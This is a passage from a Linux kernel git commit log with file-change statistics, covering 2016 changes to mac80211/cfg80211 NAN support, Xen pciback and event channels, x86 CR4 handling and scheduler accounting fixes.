will treat any value below as merely TSF drift. This isn't really reasonable (typical drift is < 10us/s) since people probably want to adjust TSF in smaller increments (for ie. beacon collision avoidance) without mesh sync fighting back. Change max drift adjustment to 0.8ms, so manual TSF adjustments can be made in 1ms increments, with some margin. Signed-off-by: Thomas Pedersen Signed-off-by: Johannes Berg net/mac80211/mesh_sync.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 354d381baf1126c45d03b5c0d87d22caf938b86b Author: Pedersen, Thomas Date: Wed Sep 28 16:56:28 2016 -0700 mac80211: add offset_tsf driver op and use it for mesh This allows the mesh sync (and debugfs) code to make incremental TSF adjustments, avoiding any uncertainty introduced by delay in programming absolute TSF. Signed-off-by: Thomas Pedersen Signed-off-by: Johannes Berg include/net/mac80211.h | 8 ++++++++ net/mac80211/debugfs_netdev.c | 12 +++++++++--- net/mac80211/driver-ops.c | 15 +++++++++++++++ net/mac80211/driver-ops.h | 3 +++ net/mac80211/mesh_sync.c | 10 +++++++--- net/mac80211/trace.h | 26 ++++++++++++++++++++++++++ 6 files changed, 68 insertions(+), 6 deletions(-) commit 3ff23cd5654b9c8f4d567caa73439b4c39fbeaae Author: Toke Høiland-Jørgensen Date: Fri Sep 23 21:59:11 2016 +0200 mac80211: Set lower memory limit for non-VHT devices Small devices can run out of memory from queueing too many packets. If VHT is not supported by the PHY, having more than 4 MBytes of total queue in the TXQ intermediate queues is not needed, and so we can safely limit the memory usage in these cases and avoid OOM. Signed-off-by: Toke Høiland-Jørgensen Signed-off-by: Johannes Berg net/mac80211/tx.c | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) commit 2a4e675d887bb3130354561a70f05127de8b9926 Author: Toke Høiland-Jørgensen Date: Fri Sep 23 21:59:10 2016 +0200 mac80211: Export fq memory limit information in debugfs Add memory limit, usage and overlimit counter to per-PHY 'aqm' debugfs file. Signed-off-by: Toke Høiland-Jørgensen Signed-off-by: Johannes Berg net/mac80211/debugfs.c | 8 ++++++++ 1 file changed, 8 insertions(+) commit 097b065b5cbfa3fd57b47f3c86d6baa96c30bf31 Author: Toke Høiland-Jørgensen Date: Fri Sep 23 21:59:09 2016 +0200 fq.h: Port memory limit mechanism from fq_codel The reusable fairness queueing implementation (fq.h) lacks the memory usage limit that the fq_codel qdisc has. This means that small devices (e.g. WiFi routers) can run out of memory when flooded with a large number of packets. This ports the memory limit feature from fq_codel to fq.h. Signed-off-by: Toke Høiland-Jørgensen Signed-off-by: Johannes Berg include/net/fq.h | 3 +++ include/net/fq_impl.h | 7 ++++++- 2 files changed, 9 insertions(+), 1 deletion(-) commit 92bc43bce2849c814cece258694f167d28524fbd Author: Ayala Beker Date: Tue Sep 20 17:31:21 2016 +0300 mac80211: Add API to report NAN function match Provide an API to report NAN function match. Mac80211 will lookup the corresponding cookie and report the match to cfg80211. Signed-off-by: Andrei Otcheretianski Signed-off-by: Emmanuel Grumbach Signed-off-by: Luca Coelho Signed-off-by: Johannes Berg include/net/mac80211.h | 16 ++++++++++++++++ net/mac80211/cfg.c | 25 +++++++++++++++++++++++++ 2 files changed, 41 insertions(+) commit 167e33f4f68cc8e4e3bdaf6d43641176c51f2d79 Author: Ayala Beker Date: Tue Sep 20 17:31:20 2016 +0300 mac80211: Implement add_nan_func and rm_nan_func Implement add/rm_nan_func functions and handle NAN function termination notifications. Handle instance_id allocation for NAN functions and implement the reconfig flow. Signed-off-by: Andrei Otcheretianski Signed-off-by: Emmanuel Grumbach Signed-off-by: Luca Coelho Signed-off-by: Johannes Berg include/net/mac80211.h | 31 ++++++++++++ net/mac80211/cfg.c | 114 +++++++++++++++++++++++++++++++++++++++++++++ net/mac80211/driver-ops.h | 32 +++++++++++++ net/mac80211/ieee80211_i.h | 7 +++ net/mac80211/iface.c | 20 +++++++- net/mac80211/main.c | 3 ++ net/mac80211/trace.h | 52 +++++++++++++++++++++ net/mac80211/util.c | 48 ++++++++++++++++++- 8 files changed, 304 insertions(+), 3 deletions(-) commit 5953ff6d6a3e92dd4f8d9d8e8a9359d7e180ae93 Author: Ayala Beker Date: Tue Sep 20 17:31:19 2016 +0300 mac80211: implement nan_change_conf Implement nan_change_conf callback which allows to change current NAN configuration (master preference and dual band operation). Store the current NAN configuration in sdata, so it can be used both to provide the driver the updated configuration with changes and also it will be used in hw reconfig flows in next patches. Signed-off-by: Andrei Otcheretianski Signed-off-by: Emmanuel Grumbach Signed-off-by: Luca Coelho Signed-off-by: Johannes Berg include/net/mac80211.h | 9 +++++++++ net/mac80211/cfg.c | 31 +++++++++++++++++++++++++++++++ net/mac80211/driver-ops.h | 21 +++++++++++++++++++++ net/mac80211/ieee80211_i.h | 10 ++++++++++ net/mac80211/trace.h | 31 +++++++++++++++++++++++++++++++ 5 files changed, 102 insertions(+) commit 368e5a7b4ecb71b3d347799cb9351b0dce5dec70 Author: Ayala Beker Date: Tue Sep 20 17:31:18 2016 +0300 cfg80211: Provide an API to report NAN function termination Provide a function that reports NAN DE function termination. The function may be terminated due to one of the following reasons: user request, ttl expiration or failure. If the NAN instance is tied to the owner, the notification will be sent to the socket that started the NAN interface only Signed-off-by: Andrei Otcheretianski Signed-off-by: Emmanuel Grumbach Signed-off-by: Luca Coelho Signed-off-by: Johannes Berg include/net/cfg80211.h | 16 ++++++++++++ include/uapi/linux/nl80211.h | 18 +++++++++++++ net/wireless/nl80211.c | 60 ++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 94 insertions(+) commit 50bcd31d9992e99c231820f5276e70346cbfbc51 Author: Ayala Beker Date: Tue Sep 20 17:31:17 2016 +0300 cfg80211: provide a function to report a match for NAN Provide a function the driver can call to report a match. This will send the event to the user space. If the NAN instance is tied to the owner, the notifications will be sent to the socket that started the NAN interface only. Signed-off-by: Andrei Otcheretianski Signed-off-by: Emmanuel Grumbach Signed-off-by: Luca Coelho Signed-off-by: Johannes Berg include/net/cfg80211.h | 37 ++++++++++++++++++++ include/uapi/linux/nl80211.h | 31 +++++++++++++++++ net/wireless/nl80211.c | 80 ++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 148 insertions(+) commit a5a9dcf291e1e541243878eed2d73a74006fa1f1 Author: Ayala Beker Date: Tue Sep 20 17:31:16 2016 +0300 cfg80211: allow the user space to change current NAN configuration Some NAN configuration paramaters may change during the operation of the NAN device. For example, a user may want to update master preference value when the device gets plugged/unplugged to the power. Add API that allows to do so. Signed-off-by: Andrei Otcheretianski Signed-off-by: Emmanuel Grumbach Signed-off-by: Luca Coelho Signed-off-by: Johannes Berg include/net/cfg80211.h | 19 +++++++++++++++++++ include/uapi/linux/nl80211.h | 11 +++++++++-- net/wireless/nl80211.c | 42 ++++++++++++++++++++++++++++++++++++++++++ net/wireless/rdev-ops.h | 17 +++++++++++++++++ net/wireless/trace.h | 24 ++++++++++++++++++++++++ 5 files changed, 111 insertions(+), 2 deletions(-) commit a442b761b24b6886f9a4e2ff5f8cb4824c96526b Author: Ayala Beker Date: Tue Sep 20 17:31:15 2016 +0300 cfg80211: add add_nan_func / del_nan_func A NAN function can be either publish, subscribe or follow up. Make all the necessary verifications and just pass the request to the driver. Allow the user space application that starts NAN to forbid any other socket to add or remove functions. Signed-off-by: Andrei Otcheretianski Signed-off-by: Emmanuel Grumbach Signed-off-by: Ayala Beker Signed-off-by: Luca Coelho Signed-off-by: Johannes Berg include/net/cfg80211.h | 91 +++++++++++ include/uapi/linux/nl80211.h | 150 ++++++++++++++++++ net/wireless/core.c | 3 +- net/wireless/nl80211.c | 369 +++++++++++++++++++++++++++++++++++++++++++ net/wireless/rdev-ops.h | 21 +++ net/wireless/trace.h | 39 +++++ net/wireless/util.c | 22 +++ 7 files changed, 694 insertions(+), 1 deletion(-) commit 708d50edb149fe488c7c96f59ba9a89a64985cf2 Author: Ayala Beker Date: Tue Sep 20 17:31:14 2016 +0300 mac80211: add boilerplate code for start / stop NAN This code doesn't do much besides allowing to start and stop the vif. Signed-off-by: Andrei Otcheretianski Signed-off-by: Emmanuel Grumbach Signed-off-by: Ayala Beker Signed-off-by: Luca Coelho Signed-off-by: Johannes Berg include/net/mac80211.h | 9 +++++++++ net/mac80211/cfg.c | 36 ++++++++++++++++++++++++++++++++++ net/mac80211/chan.c | 3 +++ net/mac80211/driver-ops.h | 27 +++++++++++++++++++++++++ net/mac80211/iface.c | 8 ++++++-- net/mac80211/main.c | 5 +++++ net/mac80211/offchannel.c | 3 ++- net/mac80211/trace.h | 50 +++++++++++++++++++++++++++++++++++++++++++++++ net/mac80211/util.c | 3 ++- 9 files changed, 140 insertions(+), 4 deletions(-) commit cb3b7d87652aeb37cfb5295a6157a3280dae10cb Author: Ayala Beker Date: Tue Sep 20 17:31:13 2016 +0300 cfg80211: add start / stop NAN commands This allows user space to start/stop NAN interface. A NAN interface is like P2P device in a few aspects: it doesn't have a netdev associated to it. Add the new interface type and prevent operations that can't be executed on NAN interface like scan. Define several attributes that may be configured by user space when starting NAN functionality (master preference and dual band operation) Signed-off-by: Andrei Otcheretianski Signed-off-by: Emmanuel Grumbach Signed-off-by: Luca Coelho Signed-off-by: Johannes Berg include/net/cfg80211.h | 21 +++++++++- include/uapi/linux/nl80211.h | 47 +++++++++++++++++++++++ net/mac80211/cfg.c | 2 + net/mac80211/chan.c | 3 ++ net/mac80211/iface.c | 4 ++ net/mac80211/offchannel.c | 1 + net/mac80211/rx.c | 3 ++ net/mac80211/util.c | 1 + net/wireless/chan.c | 2 + net/wireless/core.c | 34 +++++++++++++++++ net/wireless/core.h | 3 ++ net/wireless/mlme.c | 1 + net/wireless/nl80211.c | 91 ++++++++++++++++++++++++++++++++++++++++++-- net/wireless/rdev-ops.h | 20 ++++++++++ net/wireless/trace.h | 27 +++++++++++++ net/wireless/util.c | 6 ++- 16 files changed, 260 insertions(+), 6 deletions(-) commit b8676221f00dd5b6018f0fd88cd278f93e11143a Author: David Spinadel Date: Thu Sep 22 23:16:50 2016 +0300 cfg80211: Add support for static WEP in the driver Add support for drivers that implement static WEP internally, i.e. expose connection keys to the driver in connect flow and don't upload the keys after the connection. Signed-off-by: David Spinadel Signed-off-by: Johannes Berg include/net/cfg80211.h | 12 +++++++++++- net/wireless/core.h | 4 ++-- net/wireless/ibss.c | 5 +++-- net/wireless/sme.c | 6 +++++- net/wireless/util.c | 2 +- net/wireless/wext-compat.c | 2 +- net/wireless/wext-sme.c | 2 +- 7 files changed, 24 insertions(+), 9 deletions(-) commit e0e2effff5e19eba07de1ee1c95ba0588a7b3330 Author: Toke Høiland-Jørgensen Date: Thu Sep 22 19:04:19 2016 +0200 mac80211: Move ieee802111_tx_dequeue() to later in tx.c The TXQ path restructure requires ieee80211_tx_dequeue() to call TX handlers and parts of the xmit_fast path. Move the function to later in tx.c in preparation for this. Signed-off-by: Toke Høiland-Jørgensen Signed-off-by: Johannes Berg net/mac80211/tx.c | 90 +++++++++++++++++++++++++++---------------------------- 1 file changed, 45 insertions(+), 45 deletions(-) commit b057878b2aadc7e06280e7e702a36e7adb1bcdf7 Author: Juergen Gross Date: Thu Sep 22 10:45:41 2016 +0200 xen/pciback: support driver_override Support the driver_override scheme introduced with commit 782a985d7af2 ("PCI: Introduce new device binding path using pci_dev.driver_override") As pcistub_probe() is called for all devices (it has to check for a match based on the slot address rather than device type) it has to check for driver_override set to "pciback" itself. Up to now for assigning a pci device to pciback you need something like: echo 0000:07:10.0 > /sys/bus/pci/devices/0000\:07\:10.0/driver/unbind echo 0000:07:10.0 > /sys/bus/pci/drivers/pciback/new_slot echo 0000:07:10.0 > /sys/bus/pci/drivers_probe while with the patch you can use the same mechanism as for similar drivers like pci-stub and vfio-pci: echo pciback > /sys/bus/pci/devices/0000\:07\:10.0/driver_override echo 0000:07:10.0 > /sys/bus/pci/devices/0000\:07\:10.0/driver/unbind echo 0000:07:10.0 > /sys/bus/pci/drivers_probe So e.g. libvirt doesn't need special handling for pciback. Signed-off-by: Juergen Gross Signed-off-by: David Vrabel drivers/xen/xen-pciback/pci_stub.c | 36 +++++++++++++++++++++++++++++------- 1 file changed, 29 insertions(+), 7 deletions(-) commit 9f8bee9c981f5fe7382a0615d117cc128dd22458 Author: Juergen Gross Date: Thu Sep 22 10:45:40 2016 +0200 xen/pciback: avoid multiple entries in slot list The Xen pciback driver has a list of all pci devices it is ready to seize. There is no check whether a to be added entry already exists. While this might be no problem in the common case it might confuse those which consume the list via sysfs. Modify the handling of this list by not adding an entry which already exists. As this will be needed later split out the list handling into a separate function. Signed-off-by: Juergen Gross Signed-off-by: David Vrabel drivers/xen/xen-pciback/pci_stub.c | 39 ++++++++++++++++++++++++++++++-------- 1 file changed, 31 insertions(+), 8 deletions(-) commit 1af916b701db1a9905e559e742f45818eb233d12 Author: Juergen Gross Date: Thu Sep 22 10:45:39 2016 +0200 xen/pciback: simplify pcistub device handling The Xen pciback driver maintains a list of all its seized devices. There are two functions searching the list for a specific device with basically the same semantics just returning different structures in case of a match. Split out the search function. Signed-off-by: Juergen Gross Signed-off-by: David Vrabel drivers/xen/xen-pciback/pci_stub.c | 42 +++++++++++++++++++------------------- 1 file changed, 21 insertions(+), 21 deletions(-) commit 72a9b186292d98494f222226cfd24a1621796209 Author: KarimAllah Ahmed Date: Fri Aug 26 23:55:36 2016 +0200 xen: Remove event channel notification through Xen PCI platform device Ever since commit 254d1a3f02eb ("xen/pv-on-hvm kexec: shutdown watches from old kernel") using the INTx interrupt from Xen PCI platform device for event channel notification would just lockup the guest during bootup. postcore_initcall now calls xs_reset_watches which will eventually try to read a value from XenStore and will get stuck on read_reply at XenBus forever since the platform driver is not probed yet and its INTx interrupt handler is not registered yet. That means that the guest can not be notified at this moment of any pending event channels and none of the per-event handlers will ever be invoked (including the XenStore one) and the reply will never be picked up by the kernel. The exact stack where things get stuck during xenbus_init: -xenbus_init -xs_init -xs_reset_watches -xenbus_scanf -xenbus_read -xs_single -xs_single -xs_talkv Vector callbacks have always been the favourite event notification mechanism since their introduction in commit 38e20b07efd5 ("x86/xen: event channels delivery on HVM.") and the vector callback feature has always been advertised for quite some time by Xen that's why INTx was broken for several years now without impacting anyone. Luckily this also means that event channel notification through INTx is basically dead-code which can be safely removed without impacting anybody since it has been effectively disabled for more than 4 years with nobody complaining about it (at least as far as I'm aware of). This commit removes event channel notification through Xen PCI platform device. Cc: Boris Ostrovsky Cc: David Vrabel Cc: Juergen Gross Cc: Thomas Gleixner Cc: Ingo Molnar Cc: "H. Peter Anvin" Cc: x86@kernel.org Cc: Konrad Rzeszutek Wilk Cc: Bjorn Helgaas Cc: Stefano Stabellini Cc: Julien Grall Cc: Vitaly Kuznetsov Cc: Paul Gortmaker Cc: Ross Lagerwall Cc: xen-devel@lists.xenproject.org Cc: linux-kernel@vger.kernel.org Cc: linux-pci@vger.kernel.org Cc: Anthony Liguori Signed-off-by: KarimAllah Ahmed Reviewed-by: Boris Ostrovsky Signed-off-by: David Vrabel arch/x86/include/asm/xen/events.h | 11 ------- arch/x86/pci/xen.c | 2 +- arch/x86/xen/enlighten.c | 21 ++++--------- arch/x86/xen/smp.c | 2 -- arch/x86/xen/time.c | 5 --- drivers/xen/events/events_base.c | 26 ++++++---------- drivers/xen/platform-pci.c | 64 --------------------------------------- include/xen/xen.h | 3 +- 8 files changed, 17 insertions(+), 117 deletions(-) commit 1ef55be16ed69538f89e0a6508be5e62fdc9851c Author: Andy Lutomirski Date: Thu Sep 29 12:48:12 2016 -0700 x86/asm: Get rid of __read_cr4_safe() We use __read_cr4() vs __read_cr4_safe() inconsistently. On CR4-less CPUs, all CR4 bits are effectively clear, so we can make the code simpler and more robust by making __read_cr4() always fix up faults on 32-bit kernels. This may fix some bugs on old 486-like CPUs, but I don't have any easy way to test that. Signed-off-by: Andy Lutomirski Cc: Brian Gerst Cc: Borislav Petkov Cc: david@saggiorato.net Link: http://lkml.kernel.org/r/ea647033d357d9ce2ad2bbde5a631045f5052fb6.1475178370.git.luto@kernel.org Signed-off-by: Thomas Gleixner arch/x86/include/asm/paravirt.h | 4 ---- arch/x86/include/asm/paravirt_types.h | 1 - arch/x86/include/asm/special_insns.h | 22 +++++++--------------- arch/x86/include/asm/tlbflush.h | 2 +- arch/x86/kernel/paravirt.c | 1 - arch/x86/kernel/process_32.c | 2 +- arch/x86/kernel/setup.c | 2 +- arch/x86/power/cpu.c | 2 +- arch/x86/xen/enlighten.c | 1 - 9 files changed, 11 insertions(+), 26 deletions(-) commit d7e25c66c9bf882450060fd9464e784bd229d3ae Merge: 907241d e4aad64 Author: Thomas Gleixner Date: Fri Sep 30 12:38:28 2016 +0200 Merge branch 'x86/urgent' into x86/asm Get the cr4 fixes so we can apply the final cleanup commit c8761e2016aa51a2829563b02a0a55913bdb0be8 Author: Sebastian Andrzej Siewior Date: Wed Sep 7 13:19:01 2016 -0400 xen/events: Convert to hotplug state machine Install the callbacks via the state machine. Signed-off-by: Sebastian Andrzej Siewior Signed-off-by: Boris Ostrovsky Signed-off-by: David Vrabel drivers/xen/events/events_fifo.c | 34 ++++++++++++---------------------- include/linux/cpuhotplug.h | 1 + 2 files changed, 13 insertions(+), 22 deletions(-) commit 4d737042d6c4ee10a632cf94b953169d13955a40 Author: Boris Ostrovsky Date: Wed Sep 7 13:19:00 2016 -0400 xen/x86: Convert to hotplug state machine Switch to new CPU hotplug infrastructure. Signed-off-by: Boris Ostrovsky Suggested-by: Sebastian Andrzej Siewior Signed-off-by: David Vrabel arch/x86/xen/enlighten.c | 115 +++++++++++++++++++++++++-------------------- include/linux/cpuhotplug.h | 1 + 2 files changed, 66 insertions(+), 50 deletions(-) commit 8129554c643b0e1a8336d842cce2f3d595aeeed7 Author: Colin Ian King Date: Mon Sep 12 11:20:46 2016 +0100 x86/xen: add missing \n at end of printk warning message The message is missing a \n, add it. Signed-off-by: Colin Ian King Reviewed-by: Juergen Gross Signed-off-by: David Vrabel arch/x86/xen/platform-pci-unplug.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 447976ef4fd09b1be88b316d1a81553f1aa7cd07 Author: Frederic Weisbecker Date: Mon Sep 26 02:29:21 2016 +0200 sched/irqtime: Consolidate irqtime flushing code The code performing irqtime nsecs stats flushing to kcpustat is roughly the same for hardirq and softirq. So lets consolidate that common code. Signed-off-by: Frederic Weisbecker Reviewed-by: Rik van Riel Cc: Eric Dumazet Cc: Linus Torvalds Cc: Mike Galbraith Cc: Paolo Bonzini Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: Wanpeng Li Link: http://lkml.kernel.org/r/1474849761-12678-6-git-send-email-fweisbec@gmail.com Signed-off-by: Ingo Molnar kernel/sched/cputime.c | 26 +++++++++++--------------- 1 file changed, 11 insertions(+), 15 deletions(-) commit 19d23dbfeb10724675152915e76e03d771f23d9d Author: Frederic Weisbecker Date: Mon Sep 26 02:29:20 2016 +0200 sched/irqtime: Consolidate accounting synchronization with u64_stats API The irqtime accounting currently implement its own ad hoc implementation of u64_stats API. Lets rather consolidate it with the appropriate library. Signed-off-by: Frederic Weisbecker Reviewed-by: Rik van Riel Cc: Eric Dumazet Cc: Linus Torvalds Cc: Mike Galbraith Cc: Paolo Bonzini Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: Wanpeng Li Link: http://lkml.kernel.org/r/1474849761-12678-5-git-send-email-fweisbec@gmail.com Signed-off-by: Ingo Molnar kernel/sched/cputime.c | 31 +++++++++++++---------------- kernel/sched/sched.h | 53 ++++++++++++++------------------------------------ 2 files changed, 29 insertions(+), 55 deletions(-) commit 68107df5f2cb5dc3785be40162bfe2f19a178bbb Author: Frederic Weisbecker Date: Mon Sep 26 02:29:19 2016 +0200 u64_stats: Introduce IRQs disabled helpers Introduce light versions of u64_stats helpers for context where either preempt or IRQs are disabled. This way we can make this library usable by scheduler irqtime accounting which currenty implement its ad-hoc version. Signed-off-by: Frederic Weisbecker Cc: Eric Dumazet Cc: Linus Torvalds Cc: Mike Galbraith Cc: Paolo Bonzini Cc: Peter Zijlstra Cc: Rik van Riel Cc: Thomas Gleixner Cc: Wanpeng Li Link: http://lkml.kernel.org/r/1474849761-12678-4-git-send-email-fweisbec@gmail.com Signed-off-by: Ingo Molnar include/linux/u64_stats_sync.h | 45 ++++++++++++++++++++++-------------------- 1 file changed, 24 insertions(+), 21 deletions(-) commit 2810f611f908112ea1b30bc016d25205acb3d486 Author: Frederic Weisbecker Date: Mon Sep 26 02:29:18 2016 +0200 sched/irqtime: Remove needless IRQs disablement on kcpustat update The callers of the functions performing irqtime kcpustat updates have IRQS disabled, no need to disable them again. Signed-off-by: Frederic Weisbecker Reviewed-by: Rik van Riel Cc: Eric Dumazet Cc: Linus Torvalds Cc: Mike Galbraith Cc: Paolo Bonzini Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: Wanpeng Li Link: http://lkml.kernel.org/r/1474849761-12678-3-git-send-email-fweisbec@gmail.com Signed-off-by: Ingo Molnar kernel/sched/cputime.c | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) commit f9094a65755df86ec931f47b781f68ea3095cb56 Author: Frederic Weisbecker Date: Mon Sep 26 02:29:17 2016 +0200 sched/irqtime: No need for preempt-safe accessors We can safely use the preempt-unsafe accessors for irqtime when we flush its counters to kcpustat as IRQs are disabled at this time. Signed-off-by: Frederic Weisbecker Reviewed-by: Rik van Riel Cc: Eric Dumazet Cc: Linus Torvalds Cc: Mike Galbraith Cc: Paolo Bonzini Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: Wanpeng Li Link: http://lkml.kernel.org/r/1474849761-12678-2-git-send-email-fweisbec@gmail.com Signed-off-by: Ingo Molnar kernel/sched/cputime.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit b60205c7c558330e4e2b5df498355ec959457358 Author: Peter Zijlstra Date: Tue Sep 20 21:58:12 2016 +0200 sched/fair: Fix min_vruntime tracking While going through enqueue/dequeue to review the movement of set_curr_task() I noticed that the (2nd) update_min_vruntime() call in dequeue_entity() is suspect. It turns out, its actually wrong because it will consider cfs_rq->curr, which could be the entry we just normalized. This mixes different vruntime forms and leads to fail. The purpose of the second update_min_vruntime() is to move min_vruntime forward if the entity we just removed is the one that was holding it back; _except_ for the DEQUEUE_SAVE case, because then we know its a temporary removal and it will come back. However, since we do put_prev_task() _after_ dequeue(), cfs_rq->curr will still be set (and per the above, can be tranformed into a different unit), so update_min_vruntime() should also consider curr->on_rq. This also fixes another corner case where the enqueue (which also does update_curr()->update_min_vruntime()) happens on the rq->lock break in schedule(), between dequeue and put_prev_task. Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Mike Galbraith Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: linux-kernel@vger.kernel.org Fixes: 1e876231785d ("sched: Fix ->min_vruntime calculation in dequeue_entity()") Signed-off-by: Ingo Molnar kernel/sched/fair.c | 29 ++++++++++++++++++++++------- 1 file changed, 22 insertions(+), 7 deletions(-) commit 9148a3a10e0b74c5722174a0bbef16d821f8a48b Author: Peter Zijlstra Date: Tue Sep 20 22:34:51 2016 +0200 sched/debug: Add SCHED_WARN_ON() Provide SCHED_WARN_ON as wrapper for WARN_ON_ONCE() to avoid CONFIG_SCHED_DEBUG wrappery. Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Mike Galbraith Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: linux-kernel@vger.kernel.org Signed-off-by: Ingo Molnar kernel/sched/fair.c | 8 +++----- kernel/sched/sched.h | 8 +++++++- 2 files changed, 10 insertions(+), 6 deletions(-) commit 49bd21efe7fc84f9c82c8475b8ff6f8b865b1692 Author: Peter Zijlstra Date: Tue Sep 20 22:06:01 2016 +0200 sched/core: Fix set_user_nice() Almost all scheduler functions update state with the following pattern: if (queued) dequeue_task(rq, p, DEQUEUE_SAVE); if (running) put_prev_task(rq, p); /* update state */ if (queued) enqueue_task(rq, p, ENQUEUE_RESTORE); if (running) set_curr_task(rq, p); set_user_nice() however misses the running part, cure this. This was found by asserting we never enqueue 'current'. Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Mike Galbraith Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: linux-kernel@vger.kernel.org Signed-off-by: Ingo Molnar kernel/sched/core.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) commit b2bf6c314e3a9e227925240d92ecd6e9b0110170 Author: Peter Zijlstra Date: Tue Sep 20 22:00:38 2016 +0200 sched/fair: Introduce set_curr_task() helper Now that the ia64 only set_curr_task() symbol is gone, provide a helper just like put_prev_task(). Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Mike Galbraith Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: linux-kernel@vger.kernel.org Signed-off-by: Ingo Molnar kernel/sched/core.c | 10 +++++----- kernel/sched/sched.h | 5 +++++ 2 files changed, 10 insertions(+), 5 deletions(-) commit a458ae2ea616420f74480f0f5ed67ca0f3b5dbf7 Author: Peter Zijlstra Date: Tue Sep 20 20:29:40 2016 +0200 sched/core, ia64: Rename set_curr_task() Rename the ia64 only set_curr_task() function to free up the name. Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Mike Galbraith Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: Tony Luck Cc: linux-kernel@vger.kernel.org Signed-off-by: Ingo Molnar arch/ia64/kernel/mca.c | 10 +++++----- include/linux/sched.h | 2 +- kernel/sched/core.c | 2 +- 3 files changed, 7 insertions(+), 7 deletions(-) commit a399d233078edbba7cf7902a6d080100cdf75636 Author: Vincent Guittot Date: Mon Sep 12 09:47:52 2016 +0200 sched/core: Fix incorrect utilization accounting when switching to fair class When a task switches to fair scheduling class, the period between now and the last update of its utilization is accounted as running time whatever happened during this period. This incorrect accounting applies to the task and also to the task group branch. When changing the property of a running task like its list of allowed CPUs or its scheduling class, we follow the sequence: - dequeue task - put task - change the property - set task as current task - enqueue task The end of the sequence doesn't follow the normal sequence (as per __schedule()) which is: - enqueue a task - then set the task as current task. This incorrectordering is the root cause of incorrect utilization accounting. Update the sequence to follow the right one: - dequeue task - put task - change the property - enqueue task - set task as current task Signed-off-by: Vincent Guittot Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Mike Galbraith Cc: Morten.Rasmussen@arm.com Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: bsegall@google.com Cc: dietmar.eggemann@arm.com Cc: linaro-kernel@lists.linaro.org Cc: pjt@google.com Cc: yuyang.du@intel.com Link: http://lkml.kernel.org/r/1473666472-13749-8-git-send-email-vincent.guittot@linaro.org Signed-off-by: Ingo Molnar kernel/sched/core.c | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) commit 1b568f0aabf280555125bc7cefc08321ff0ebaba Author: Peter Zijlstra Date: Mon May 9 10:38:41 2016 +0200 sched/core: Optimize SCHED_SMT Avoid pointless SCHED_SMT code when running on !SMT hardware. Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Mike Galbraith Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: linux-kernel@vger.kernel.org Signed-off-by: Ingo Molnar kernel/sched/core.c | 19 +++++++++++++++++++ kernel/sched/fair.c | 8 +++++++- kernel/sched/sched.h | 23 +++++++++++++++++------ 3 files changed, 43 insertions(+), 7 deletions(-) commit 10e2f1acd0106c05229f94c70a344ce3a2c8008b Author: Peter Zijlstra Date: Mon May 9 10:38:05 2016 +0200 sched/core: Rewrite and improve select_idle_siblings() select_idle_siblings() is a known pain point for a number of workloads; it either does too much or not enough and sometimes just does plain wrong. This rewrite attempts to address a number of issues (but sadly not all). The current code does an unconditional sched_domain iteration; with the intent of finding an idle core (on SMT hardware). The problems which this patch tries to address are: - its pointless to look for idle cores if the machine is real busy; at which point you're just wasting cycles. - it's behaviour is inconsistent between SMT and !SMT hardware in that !SMT hardware ends up doing a scan for any idle CPU in the LLC domain, while SMT hardware does a scan for idle cores and if that fails, falls back to a scan for idle threads on the 'target' core. The new code replaces the sched_domain scan with 3 explicit scans: 1) search for an idle core in the LLC 2) search for an idle CPU in the LLC 3) search for an idle thread in the 'target' core where 1 and 3 are conditional on SMT support and 1 and 2 have runtime heuristics to skip the step. Step 1) is conditional on sd_llc_shared->has_idle_cores; when a cpu goes idle and sd_llc_shared->has_idle_cores is false, we scan all SMT siblings of the CPU going idle. Similarly, we clear sd_llc_shared->has_idle_cores when we fail to find an idle core. Step 2) tracks the average cost of the scan and compares this to the average idle time guestimate for the CPU doing the wakeup. There is a significant fudge factor involved to deal with the variability of the averages. Esp. hackbench was sensitive to this. Step 3) is unconditional; we assume (also per step 1) that scanning all SMT siblings in a core is 'cheap'. With this; SMT systems gain step 2, which cures a few benchmarks -- notably one from Facebook. One 'feature' of the sched_domain iteration, which we preserve in the new code, is that it would start scanning from the 'target' CPU, instead of scanning the cpumask in cpu id order. This avoids multiple CPUs in the LLC scanning for idle to gang up and find the same CPU quite as much. The down side is that tasks can end up hopping across the LLC for no apparent reason. Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Mike Galbraith Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: linux-kernel@vger.kernel.org Signed-off-by: Ingo Molnar include/linux/sched.h | 3 + kernel/sched/core.c | 3 + kernel/sched/fair.c | 267 +++++++++++++++++++++++++++++++++++++++-------- kernel/sched/idle_task.c | 2 +- kernel/sched/sched.h | 6 ++ 5 files changed, 234 insertions(+), 47 deletions(-) commit 08645077b7f9f7824dbaf1959b0e014a894c8acc Author: Nikolay Borisov Date: Mon Sep 26 21:11:18 2016 +0300 x86/cmpxchg, locking/atomics: Remove superfluous definitions cmpxchg contained definitions for unused (x)add_* operations, dating back to the original ticket spinlock implementation. Nowadays these are unused so remove them. 